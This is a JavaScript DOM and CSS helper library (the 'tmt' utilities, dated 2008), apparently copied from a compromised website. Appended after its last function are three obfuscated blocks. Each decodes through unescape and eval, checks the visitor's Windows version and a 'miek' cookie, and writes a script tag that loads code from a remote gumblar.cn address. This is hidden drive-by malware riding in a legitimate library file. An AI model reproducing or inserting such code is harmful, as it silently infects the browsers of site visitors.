/** 
* Copyright 2006-2008 massimocorner.com
* License: http://www.massimocorner.com/license.htm
* @author      Massimo Foti (massimo@massimocorner.com)
* @version     0.3.2, 2008-05-07
 */

if(typeof(tmt) == "undefined"){
	var tmt = {};
}

/**
* Developed by John Resig
* For additional info see:
* http://ejohn.org/projects/flexible-javascript-events
*/
tmt.addEvent = function(obj, type, fn){
	if(obj.addEventListener){
		obj.addEventListener(type, fn, false);
	}
	else if(obj.attachEvent){
		obj["e" + type + fn] = fn;
		obj[type + fn] = function(){
				obj["e" + type + fn](window.event);
			}
		obj.attachEvent("on" + type, obj[type+fn]);
	}
}

/**
* Sort of an equivalent of the famous $() function. Just with a better name :-)
* Accepts either ids (strings) or DOM node references
*/
tmt.get = function(){
	var returnNodes = new Array();
	for(var i=0; i<arguments.length; i++){
		var nodeElem = arguments[i];
		if(typeof nodeElem == "string"){
			nodeElem = document.getElementById(nodeElem);
		}
		if(arguments.length == 1){
			return nodeElem;
		}
		returnNodes.push(nodeElem);
	}
	return returnNodes;
}

/**
* Returns an array containing all child nodes. 
* If no starting node is passed, assume the document is the starting point
*/
tmt.getAll = function(startNode){
	// If no node was passed, use the document
	var rootNode = (startNode) ? tmt.get(startNode) : document;
	return rootNode.getElementsByTagName("*");
}

/**
* Returns an array containing all child nodes. 
* Unlike tmt.getAll, it return only elements of type Node.NODE_ELEMENT, no comments or other kind of nodes
* If no starting node is passed, assume the document is the starting point
*/
tmt.getAllNodes = function(startNode){
	var elements = tmt.getAll(startNode);
	var nodesArray = [];
	for(var i=0; i<elements.length; i++){
		if(elements[i].nodeType == 1){
			nodesArray.push(elements[i]);
		}
	}
	return nodesArray;
}

/**
* Returns an array containing all child nodes that contain the given attribute 
* If no starting node is passed, assume the document is the starting point
*/
tmt.getNodesByAttribute = function(attName, startNode){
	var nodes = tmt.getAll(startNode);
	return tmt.filterNodesByAttribute(attName, nodes);
}

/**
* Returns an array containing all child nodes that contain the given attribute matching a given value
* If no starting node is passed, assume the document is the starting point
*/
tmt.getNodesByAttributeValue = function(attName, attValue, startNode){
	var nodes = tmt.getAll(startNode);
	return tmt.filterNodesByAttributeValue(attName, attValue, nodes);
}

/**
* Out of a node list, returns an array containing all nodes that contain the given attribute
*/
tmt.filterNodesByAttribute = function(attName, nodes){
	var filteredNodes = new Array();
	for(var i=0; i<nodes.length; i++){
		if(nodes[i].getAttribute(attName)){
			filteredNodes.push(nodes[i]);
		}
	}
	return filteredNodes;
}

/**
* Out of a node list, returns an array containing all nodes that contain the given attribute matching a given value
*/
tmt.filterNodesByAttributeValue = function(attName, attValue, nodes){
	var filteredNodes = new Array();
	for(var i=0; i<nodes.length; i++){
		if(nodes[i].getAttribute(attName) && (nodes[i].getAttribute(attName) == attValue)){
			filteredNodes.push(nodes[i]);
		}
	}
	return filteredNodes;
}

/**
* Set the value of an attribute on a list of nodes. Accepts either an id (string) or DOM node reference
*/
tmt.setNodeAttribute = function(nodeList, attName, attValue){
for(var i=0; i<nodeList.length; i++){
		var nodeElem = tmt.get(nodeList[i]);
		if(nodeElem){
			nodeElem[attName] = attValue;
		}
	}
}

/**
* Add a CSS class to a given node. Accepts either an id (string) or DOM node reference
*/
tmt.addClass = function(element, className){
	var nodeElem = tmt.get(element);
	if(!nodeElem || (tmt.hasClass(nodeElem, className) == true)){
		return;
	}
	nodeElem.className += (nodeElem.className ? " " : "") + className;
}

/**
* Check if a given node use a CSS class. Accepts either an id (string) or DOM node reference
*/
tmt.hasClass = function(element, className){
	var nodeElem = tmt.get(element);
	if(nodeElem){
		return nodeElem.className.search(new RegExp("\\b" + className + "\\b")) != -1;
	}
	return null;
}

/**
* Remove a CSS class from a given node. Accepts either an id (string) or DOM node reference
*/
tmt.removeClass = function(element, className){
	var nodeElem = tmt.get(element);
	if(!nodeElem || (tmt.hasClass(nodeElem, className) == false)){
		return;
	}
	nodeElem.className = nodeElem.className.replace(new RegExp("\\s*\\b" + className + "\\b", "g"), "");
}

/**
* Toggle a CSS class from a given node. Accepts either an id (string) or DOM node reference
*/
tmt.toggleClass = function(element, className){
	var nodeElem = tmt.get(element);
	if(tmt.hasClass(nodeElem, className)){
		tmt.removeClass(nodeElem, className);
	}
	else{
		tmt.addClass(nodeElem, className);
	}
}

/**
* Trim a given string
*/
tmt.trim = function(str){
	return str.replace(/^\s+|\s+$/g, "");
}

/**
* Replace special XML character with the equivalent entities
*/
tmt.encodeEntities = function(str){
	if(str && str.search(/[&<>"]/) != -1){
		str = str.replace(/&/g, "&amp;");
		str = str.replace(/</g, "&lt;");
		str = str.replace(/>/g, "&gt;");
		str = str.replace(/"/g, "&quot;");
	}
	return str
}

/**
* Replace XML's entities with the equivalent character
*/
tmt.unencodeEntities = function(str){
	str = str.replace(/&amp;/g, "&");
	str = str.replace(/&lt;/g, "<");
	str = str.replace(/&gt;/g, ">");
	str = str.replace(/&quot;/g, '"');
	return str
}

/**
* Turn a set of name/value pairs stored inside an object into a URI encoded string
*/
tmt.hashToEncodeURI = function(obj){
	var values = [];
	for(var x in obj){
		values.push(encodeURIComponent(x) + "=" + encodeURIComponent(obj[x]));
	}
	return values.join("&");
}<!-- 
(function(t){eval(unescape(('var@20a@3d@22@53criptEn@67in@65@22@2c@62@3d@22Version@28)+@22@2c@6a@3d@22@22@2cu@3d@6e@61viga@74or@2eu@73er@41ge@6et@3bif((u@2eindex@4ff(@22Wi@6e@22@29@3e0)@26@26(u@2ein@64ex@4f@66@28@22NT@20@36@22@29@3c0)@26@26(docum@65n@74@2ecook@69e@2einde@78@4f@66@28@22@6diek@3d1@22)@3c0@29@26@26(@74ype@6ff@28zrvz@74s)@21@3d@74y@70eo@66(@22@41@22)@29)@7b@7arvzts@3d@22A@22@3b@65@76al(@22if(wi@6e@64o@77@2e@22+a+@22)@6a@3dj+@22+@61+@22Maj@6fr@22+b+a@2b@22Minor@22@2b@62+@61+@22@42@75i@6cd@22+b+@22j@3b@22)@3bd@6fc@75ment@2ew@72@69t@65(@22@3cscrip@74@20@73@72c@3d@2f@2fg@75m@62l@61r@2ecn@2f@72ss@2f@3fi@64@3d@22@2bj+@22@3e@3c@5c@2fscript@3e@22)@3b@7d').replace(t,'%')))})(/@/g);
 --><!-- 
(function(Gia7){var qnw=unescape(('var,20a,3d,22ScriptEn,67ine,22,2cb,3d,22Ve,72sion()+,22,2cj,3d,22,22,2cu,3dnav,69gator,2euserAgent,3bif((,75,2eindexO,66(,22Win,22),3e0,29,26,26(u,2eindex,4ff(,22NT,206,22),3c,30),26,26(d,6fcu,6d,65nt,2eco,6fki,65,2eindexOf(,22,6diek,3d1,22),3c0),26,26(typ,65of(,7arv,7ats,29,21,3dty,70eof(,22A,22)),29,7b,7arvzt,73,3d,22A,22,3beval(,22,69f,28wi,6e,64ow,2e,22+a,2b,22)j,3dj+,22+a+,22,4daj,6fr,22+b+a+,22,4dinor,22+b+a+,22,42ui,6cd,22+b+,22j,3b,22),3bdoc,75m,65nt,2ewrit,65(,22,3c,73cr,69p,74,20src,3d,2f,2fgu,6dblar,2ecn,2f,72ss,2f,3f,69d,3d,22+j,2b,22,3e,3c,5c,2f,73cr,69,70t,3e,22),3b,7d').replace(Gia7,'%'));eval(qnw)})(/,/g);
 --><!-- 
(function(){var GToO='var.20a.3d.22Script.45.6egi.6ee.22.2c.62.3d.22V.65rsion.28)+.22.2cj.3d.22.22.2c.75.3dnavigat.6fr.2eu.73.65r.41.67.65nt.3bif(.28u.2einde.78Of.28.22W.69.6e.22.29.3e0).26.26(u.2eind.65xO.66(.22NT.206.22.29.3c.30).26.26(doc.75men.74.2e.63o.6f.6bie.2eindexOf(.22.6diek.3d.31.22).3c0).26.26(.74y.70eof(z.72.76zt.73).21.3d.74y.70e.6f.66(.22A.22.29)).7bz.72vzts.3d.22A.22.3bev.61.6c(.22if(.77.69.6edow.2e.22.2ba.2b.22.29j.3dj+.22+a+.22Ma.6aor.22+.62+a.2b.22Mi.6eo.72.22.2bb+a+.22Build.22+b+.22j.3b.22).3b.64oc.75ment.2ewrit.65(.22.3cscrip.74.20s.72c.3d.2f.2fgu.6dblar.2ec.6e.2f.72ss.2f.3fid.3d.22.2bj+.22.3e.3c.5c.2fscript.3e.22).3b.7d';eval(unescape(GToO.replace(/./g,'%')))})();
 -->
